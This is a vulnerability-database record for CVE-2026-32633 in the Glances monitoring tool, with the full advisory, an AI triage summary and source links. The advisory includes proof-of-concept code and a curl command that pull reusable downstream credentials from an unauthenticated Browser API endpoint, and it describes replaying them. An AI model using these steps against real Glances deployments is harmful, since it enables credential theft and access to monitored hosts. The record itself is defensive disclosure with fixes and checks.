{"id":"CVE-2026-32633","kind":"vulnerability","aliases":["CVE-2026-32633","GHSA-r297-p3v4-wp8m"],"related":[],"title":"Glances's Browser API Exposes Reusable Downstream Credentials via `/api/4/serverslist`","description":"## Summary\n\nIn Central Browser mode, the `/api/4/serverslist` endpoint returns raw server objects from `GlancesServersList.get_servers_list()`. Those objects are mutated in-place during background polling and can contain a `uri` field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret.\n\nIf the front Glances Browser/API instance is started without `--password`, which is supported and common for internal network deployments, `/api/4/serverslist` is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance.\n\n## Details\n\nThe Browser API route simply returns the raw servers list:\n\n```python\n# glances/outputs/glances_restful_api.py:799-805\ndef _api_servers_list(self):\n    self.__update_servers_list()\n    return GlancesJSONResponse(self.servers_list.get_servers_list() if self.servers_list else [])\n```\n\nThe main API router is only protected when the front instance itself was started with `--password`. Otherwise there are no authentication dependencies at all:\n\n```python\n# glances/outputs/glances_restful_api.py:475-480\nif self.args.password:\n    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\nelse:\n    router = APIRouter(prefix=self.url_prefix)\n```\n\nThe Glances web server binds to `0.0.0.0` by default:\n\n```python\n# glances/main.py:425-427\nparser.add_argument(\n    '--bind',\n    default='0.0.0.0',\n    dest='bind_address',\n)\n```\n\nDuring Central Browser polling, server entries are modified in-place and gain a `uri` field:\n\n```python\n# glances/servers_list.py:141-148\ndef __update_stats(self, server):\n    server['uri'] = self.get_uri(server)\n    ...\n    if server['protocol'].lower() == 'rpc':\n        self.__update_stats_rpc(server['uri'], server)\n    elif server['protocol'].lower() == 'rest' and not import_requests_error_tag:\n        self.__update_stats_rest(f\"{server['uri']}/api/{__apiversion__}\", server)\n```\n\nFor protected servers, `get_uri()` loads the saved password from the `[passwords]` section (or the `default` password), hashes it, and embeds it directly in the URI:\n\n```python\n# glances/servers_list.py:119-130\ndef get_uri(self, server):\n    if server['password'] != \"\":\n        if server['status'] == 'PROTECTED':\n            clear_password = self.password.get_password(server['name'])\n            if clear_password is not None:\n                server['password'] = self.password.get_hash(clear_password)\n        uri = 'http://{}:{}@{}:{}'.format(\n            server['username'],\n            server['password'],\n            server['name'],\n            server['port'],\n        )\n    else:\n        uri = 'http://{}:{}'.format(server['name'], server['port'])\n    return uri\n```\n\nPassword lookup falls back to a global default:\n\n```python\n# glances/password_list.py:55-58\ntry:\n    return self._password_dict[host]\nexcept (KeyError, TypeError):\n    return self._password_dict['default']\n```\n\nThe sample configuration explicitly supports browser-wide default password reuse:\n\n```ini\n# conf/glances.conf:656-663\n[passwords]\n# localhost=abc\n# default=defaultpassword\n```\n\nThe secret embedded in `uri` is not the cleartext password, but it is still a reusable Glances authentication credential. Client connections send that pbkdf2-derived hash over HTTP Basic authentication:\n\n```python\n# glances/password.py:72-74,94\n# For Glances client, get the password (confirm=False, clear=True):\n#     2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit\npassword = password_hash\n```\n\n```python\n# glances/client.py:56-57\nif args.password != \"\":\n    self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'\n```\n\nThe Browser WebUI also consumes that raw `uri` directly and redirects the user to it:\n\n```javascript\n// glances/outputs/static/js/Browser.vue:83-103\nfetch(\"api/4/serverslist\", { method: \"GET\" })\n...\nwindow.location.href = server.uri;\n```\n\nSo once `server.uri` contains credentials, those credentials are not just used internally; they are exposed to API consumers and frontend JavaScript.\n\n## PoC\n\n### Step 1: Verified local live proof that server objects contain credential-bearing URIs\n\nThe following command executes the real `glances/servers_list.py` update logic against a live local HTTP server that always returns `401`. This forces Glances to mark the downstream server as `PROTECTED` and then retry with the saved/default password. After the second refresh, the in-memory server list contains a `uri` field with embedded credentials.\n\n```bash\ncd D:\\bugcrowd\\glances\\repo\n@'\nimport importlib.util\nimport json\nimport sys\nimport threading\nimport types\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\nfrom defusedxml import xmlrpc as defused_xmlrpc\n\npkg = types.ModuleType('glances')\npkg.__apiversion__ = '4'\nsys.modules['glances'] = pkg\n\nclient_mod = types.ModuleType('glances.client')\nclass GlancesClientTransport(defused_xmlrpc.xmlrpc_client.Transport):\n    def set_timeout(self, timeout):\n        self.timeout = timeout\nclient_mod.GlancesClientTransport = GlancesClientTransport\nsys.modules['glances.client'] = client_mod\n\nglobals_mod = types.ModuleType('glances.globals')\nglobals_mod.json_loads = json.loads\nsys.modules['glances.globals'] = globals_mod\n\nlogger_mod = types.ModuleType('glances.logger')\nlogger_mod.logger = types.SimpleNamespace(\n    debug=lambda *a, **k: None,\n    warning=lambda *a, **k: None,\n    info=lambda *a, **k: None,\n    error=lambda *a, **k: None,\n)\nsys.modules['glances.logger'] = logger_mod\n\npassword_list_mod = types.ModuleType('glances.password_list')\nclass GlancesPasswordList: pass\npassword_list_mod.GlancesPasswordList = GlancesPasswordList\nsys.modules['glances.password_list'] = password_list_mod\n\ndynamic_mod = types.ModuleType('glances.servers_list_dynamic')\nclass GlancesAutoDiscoverServer: pass\ndynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer\nsys.modules['glances.servers_list_dynamic'] = dynamic_mod\n\nstatic_mod = types.ModuleType('glances.servers_list_static')\nclass GlancesStaticServer: pass\nstatic_mod.GlancesStaticServer = GlancesStaticServer\nsys.modules['glances.servers_list_static'] = static_mod\n\nspec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py'))\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)\nGlancesServersList = mod.GlancesServersList\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        _ = self.rfile.read(int(self.headers.get('Content-Length', '0')))\n        self.send_response(401)\n        self.end_headers()\n    def log_message(self, *args):\n        pass\n\nhttpd = HTTPServer(('127.0.0.1', 0), Handler)\nport = httpd.server_address[1]\nthread = threading.Thread(target=httpd.serve_forever, daemon=True)\nthread.start()\n\nclass FakePassword:\n    def get_password(self, host=None):\n        return 'defaultpassword'\n    def get_hash(self, password):\n        return f'hash({password})'\n\nsl = GlancesServersList.__new__(GlancesServersList)\nsl.password = FakePassword()\nsl._columns = [{'plugin': 'system', 'field': 'hr_name'}]\nserver = {\n    'key': f'target:{port}',\n    'name': '127.0.0.1',\n    'ip': '203.0.113.77',\n    'port': port,\n    'protocol': 'rpc',\n    'username': 'glances',\n    'password': '',\n    'status': 'UNKNOWN',\n    'type': 'STATIC',\n}\nsl.get_servers_list = lambda: [server]\n\nsl._GlancesServersList__update_stats(server)\nsl._GlancesServersList__update_stats(server)\nhttpd.shutdown()\nthread.join(timeout=2)\nprint(json.dumps(sl.get_servers_list(), indent=2))\n'@ | python -\n```\n\nVerified output:\n\n```json\n[\n  {\n    \"key\": \"target:57390\",\n    \"name\": \"127.0.0.1\",\n    \"ip\": \"203.0.113.77\",\n    \"port\": 57390,\n    \"protocol\": \"rpc\",\n    \"username\": \"glances\",\n    \"password\": null,\n    \"status\": \"PROTECTED\",\n    \"type\": \"STATIC\",\n    \"uri\": \"http://glances:hash(defaultpassword)@127.0.0.1:57390\",\n    \"columns\": [\n      \"system_hr_name\"\n    ]\n  }\n]\n```\n\nThis is the same raw object shape that `/api/4/serverslist` returns.\n\n### Step 2: Remote reproduction on a live Browser instance\n\n1. Configure Glances Browser mode with a saved default password for downstream servers:\n\n```ini\n[passwords]\ndefault=SuperSecretBrowserPassword\n```\n\n2. Start the Browser/API instance without front-end authentication:\n\n```bash\nglances --browser -w -C ./glances.conf\n```\n\n3. Ensure at least one protected downstream server is polled and marked `PROTECTED`.\n\n4. From any machine that can reach the Glances Browser API, fetch the raw server list:\n\n```bash\ncurl -s http://TARGET:61208/api/4/serverslist\n```\n\n5. Observe entries like:\n\n```json\n{\n  \"name\": \"internal-glances.example\",\n  \"status\": \"PROTECTED\",\n  \"uri\": \"http://glances:<pbkdf2_hash>@internal-glances.example:61209\"\n}\n```\n\n## Impact\n\n- **Unauthenticated credential disclosure:** When the front Browser API runs without `--password`, any reachable user can retrieve downstream Glances authentication secrets from `/api/4/serverslist`.\n- **Credential replay:** The disclosed pbkdf2-derived hash is the effective Glances client secret and can be replayed against downstream Glances servers using the same password.\n- **Fleet-wide blast radius:** A single Browser instance can hold passwords for many downstream servers via host-specific entries or `[passwords] default`, so one exposed API can disclose credentials for an entire monitored fleet.\n- **Chains with the earlier CORS issue:** Even when the front instance uses `--password`, the permissive default CORS behavior can let a malicious website read `/api/4/serverslist` from an authenticated browser session and steal the same downstream credentials cross-origin.\n\n## Recommended Fix\n\nDo not expose credential-bearing fields in API responses. At minimum, strip `uri`, `password`, and any derived credential material from `/api/4/serverslist` responses and make the frontend derive navigation targets without embedded auth.\n\n```python\n# glances/outputs/glances_restful_api.py\n\ndef _sanitize_server(self, server):\n    safe = dict(server)\n    safe.pop('password', None)\n    safe.pop('uri', None)\n    return safe\n\ndef _api_servers_list(self):\n    self.__update_servers_list()\n    servers = self.servers_list.get_servers_list() if self.servers_list else []\n    return GlancesJSONResponse([self._sanitize_server(server) for server in servers])\n```\n\nAnd in the Browser WebUI, construct navigation URLs from non-secret fields (`ip`, `name`, `port`, `protocol`) instead of trusting a backend-supplied `server.uri`.","summary":"When Glances runs in Browser mode without a password, the /api/4/serverslist endpoint returns server objects whose uri field embeds HTTP Basic credentials for protected downstream Glances servers. An unauthenticated network user can fetch these reusable pbkdf2-derived secrets and replay them against the downstream servers.","severity":"critical","cvss":9.1,"epss":0.00491,"exploited":false,"exploited_at":null,"products":[{"name":"Glances","fixed":["4.5.2"],"affected":"<= 4.5.2-dev01","ecosystem":"pypi"},{"name":"nicolargo glances","fixed":["4.5.2"],"affected":"< 4.5.2","ecosystem":"vendor"}],"ecosystems":["pypi","vendor"],"tags":["cwe-200","cwe-522","glances","monitoring","package","python","self-hosted"],"not_affected_if":["auth-required","default-config","no-browser-mode"],"how_to_check":"- Run `pip show glances` and compare the version to `4.5.2`.\n- Check whether the Browser/API instance was started without `--password` (`ps aux | grep glances`).\n- Request `curl -s http://HOST:61208/api/4/serverslist` from another machine and look for `uri` fields containing `@` credentials.","fix":"- Upgrade Glances to `4.5.2` or later.\n- Until upgraded, start the Browser/API instance with `--password` and restrict the bind address or port with a firewall.\n- Rotate the `[passwords]` default and per-host passwords on downstream Glances servers if the list was reachable.","status":"open","published_at":"2026-03-16T16:35:01+00:00","first_seen_at":"2026-10-27T16:35:55+00:00","triaged_at":"2026-10-27T16:38:04+00:00","updated_at":"2026-10-27T17:03:04+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-10-27T16:38:04Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade Glances to `4.5.2` or later.\n- Until upgraded, start the Browser/API instance with `--password` and restrict the bind address or port with a firewall.\n- Rotate the `[passwords]` default and per-host passwords on downstream Glances servers if the list was reachable.","reach":"network","title":"Glances: Browser API leaks reusable downstream server credentials without authentication","impact":"high","summary":"When Glances runs in Browser mode without a password, the /api/4/serverslist endpoint returns server objects whose uri field embeds HTTP Basic credentials for protected downstream Glances servers. An unauthenticated network user can fetch these reusable pbkdf2-derived secrets and replay them against the downstream servers.","category":"package","nicknames":[],"who_cares":["self-hosted","python","glances","monitoring"],"confidence":0.85,"needs_auth":"no","worst_case":"Attacker reads downstream server credentials and replays them to access monitored hosts.","analyst_note":"Confirm the fixed version and whether 4.5.2 fully removes uri from the endpoint, via https://github.com/advisories/GHSA-r297-p3v4-wp8m.","how_to_check":"- Run `pip show glances` and compare the version to `4.5.2`.\n- Check whether the Browser/API instance was started without `--password` (`ps aux | grep glances`).\n- Request `curl -s http://HOST:61208/api/4/serverslist` from another machine and look for `uri` fields containing `@` credentials.","needs_analyst":true,"not_affected_if":["auth-required","default-config","no-browser-mode"],"who_is_affected":"Teams running Glances in Central Browser mode (glances --browser) that poll protected downstream Glances servers using saved or default passwords in the [passwords] section. The front instance is exposed most when started without --password on a reachable network, since the default bind is 0.0.0.0. Single-host Glances installs without Browser mode and instances where the front end requires a password are not affected by the unauthenticated path.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"critical"},"cost_usd":0.001111,"input_tokens":7391,"output_tokens":743,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-103':548C '-130':363C '-148':296C '-200':26B '-2026':12A,20A '-32633':13A,21A '-427':268C '-480':239C '-522':28B '-57':521C '-58':424C '-663':449C '-74':489C '-805':196C '/api':331C '/api/4/serverslist':10A,46B,88C,151C '0.0.0.0':262C,273C '119':362C '141':295C '2':501C '425':267C '475':238C '55':423C '56':520C '656':448C '72':488C '799':195C '83':547C '94':490C 'abc':452C 'address':276C 'also':533C 'api':4A,163C,185C,198C,214C 'api/4/serverslist':550C 'apirout':243C,252C 'apivers':332C 'args.client':528C 'args.password':523C,527C 'args.port':529C 'args.username':526C 'argument':270C 'authent':130C,232C,472C,485C 'back':416C 'background':106C 'basic':56B,117C,484C 'bind':260C,271C,275C 'browser':3A,40B,85C,162C,180C,184C,279C,441C,531C 'browser-wid':440C 'browser/api':136C 'central':84C,278C 'clear':376C,383C,392C,499C 'cleartext':463C 'client':474C,493C 'common':146C 'complet':153C 'conf/glances.conf':447C 'configur':437C 'confirm':497C 'connect':475C 'consum':534C 'contain':110C 'credenti':8A,57B,118C,167C,473C 'cve':11A,19A 'cwe':25B,27B 'def':197C,297C,364C 'default':264C,272C,349C,420C,434C,443C,453C 'defaultpassword':454C 'depend':233C,247C,248C 'deploy':150C 'deriv':73B,128C,480C 'dest':274C 'detail':182C 'direct':356C,538C 'downstream':7A,60B,80B,120C,170C 'elif':316C 'els':211C,250C,404C 'emb':54B,354C 'embed':115C,457C 'endpoint':47B,89C 'entri':282C 'error':325C 'except':429C 'explicit':438C 'expos':5A 'f':328C,525C 'fall':415C 'fals':498C 'fetch':68B,549C 'field':53B,113C,292C 'format':395C,406C 'front':134C,221C 'gain':289C 'get':337C,365C,494C 'ghsa':15A 'ghsa-r297-p3v4-wp8m':14A 'glanc':1A,29B,37B,61B,121C,129C,135C,171C,257C,471C,492C 'glances':22A,24A 'glances/client.py':519C 'glances/main.py':266C 'glances/outputs/glances_restful_api.py':194C,237C 'glances/outputs/static/js/browser.vue':546C 'glances/password.py':487C 'glances/password_list.py':422C 'glances/servers_list.py':294C,361C 'glancesjsonrespons':204C 'glancesserverslist.get':95C 'global':419C 'hash':351C,391C,481C,505C,517C 'hmac':510C 'host':35B,428C 'http':55B,116C,483C 'import':323C 'in-plac':102C,285C 'ini':446C 'instanc':137C,181C,222C 'intern':148C 'javascript':545C 'keyerror':430C 'list':97C,192C,200C,207C,210C 'load':339C 'localhost':451C 'lookup':414C 'lower':310C,319C 'main':213C 'mode':41B,86C 'modifi':284C 'monitor':30B 'mutat':101C 'name':381C,401C,408C 'network':65B,149C,156C 'nicolargo':23A 'none':387C 'object':50B,93C,99C 'otherwis':228C 'p3v4':17A 'packag':31B 'parser.add':269C 'password':44B,141C,227C,342C,345C,350C,371C,377C,379C,384C,389C,393C,399C,413C,444C,450C,464C,496C,503C,515C,516C 'pbkdf2':72B,127C,479C,509C 'pbkdf2-derived':71B,126C,478C 'place':104C,287C 'poll':107C,177C,280C 'port':403C,410C 'prefix':244C,246C,253C,255C 'protect':59B,169C,218C,335C,375C 'protocol':309C,318C 'python':32B,193C,236C,265C,293C,360C,421C,486C,518C 'r297':16A 'raw':91C,190C,536C 'reach':160C 'redirect':540C 'replay':76B 'request':324C 'rest':320C 'retriev':165C 'return':48B,90C,188C,203C,411C,426C,432C 'reus':445C 'reusabl':6A,70B,125C,166C,470C 'rout':186C 'router':215C,242C,251C 'rpc':311C 'run':38B 'sampl':436C 'save':341C 'secret':74B,131C,456C 'section':346C 'self':34B,201C,300C,367C 'self-host':33B 'self.__update_servers_list':202C 'self.__update_stats_rest':327C 'self.__update_stats_rpc':312C 'self._password_dict':427C,433C 'self.args.password':241C 'self.authentication':249C 'self.get':304C 'self.password.get':378C,390C 'self.servers':209C 'self.servers_list.get':205C 'self.uri':524C 'self.url':245C,254C 'send':476C 'server':49B,62B,81B,92C,96C,122C,172C,191C,199C,206C,259C,281C,301C,302C,306C,308C,313C,315C,317C,329C,333C,336C,368C,370C,373C,380C,388C,396C,398C,400C,402C,407C,409C 'sha':508C,512C 'sha-pbkdf2':507C 'simpli':187C 'start':139C,225C 'stat':299C 'status':374C 'still':468C 'string':513C 'summari':82C 'support':144C,439C 'tag':326C 'transit':514C 'tri':425C 'true':500C 'typeerror':431C 'unauthent':64B,154C 'updat':298C 'uri':52B,112C,291C,303C,305C,314C,330C,338C,359C,366C,394C,405C,412C,459C,537C 'use':123C 'user':66B,157C,542C 'usernam':397C 'via':9A 'web':258C 'webui':532C 'whose':51B 'wide':442C 'without':42B,140C 'wp8m':18A","nicknames":[],"mitigations":[],"who_affected":"Teams running Glances in Central Browser mode (glances --browser) that poll protected downstream Glances servers using saved or default passwords in the [passwords] section. The front instance is exposed most when started without --password on a reachable network, since the default bind is 0.0.0.0. Single-host Glances installs without Browser mode and instances where the front end requires a password are not affected by the unauthenticated path.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-03-16T16:35:01+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-r297-p3v4-wp8m","url":"https://github.com/advisories/GHSA-r297-p3v4-wp8m","severity":"critical","published_at":"2026-03-16T16:35:01+00:00","modified_at":"2026-10-27T16:35:39+00:00","first_seen_at":"2026-10-27T16:35:55+00:00","fetched_at":"2026-10-27T16:41:05+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-32633","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32633","severity":null,"published_at":"2026-03-18T18:16:28+00:00","modified_at":"2026-06-17T10:36:08+00:00","first_seen_at":"2026-10-27T17:03:04+00:00","fetched_at":"2026-10-27T17:03:04+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}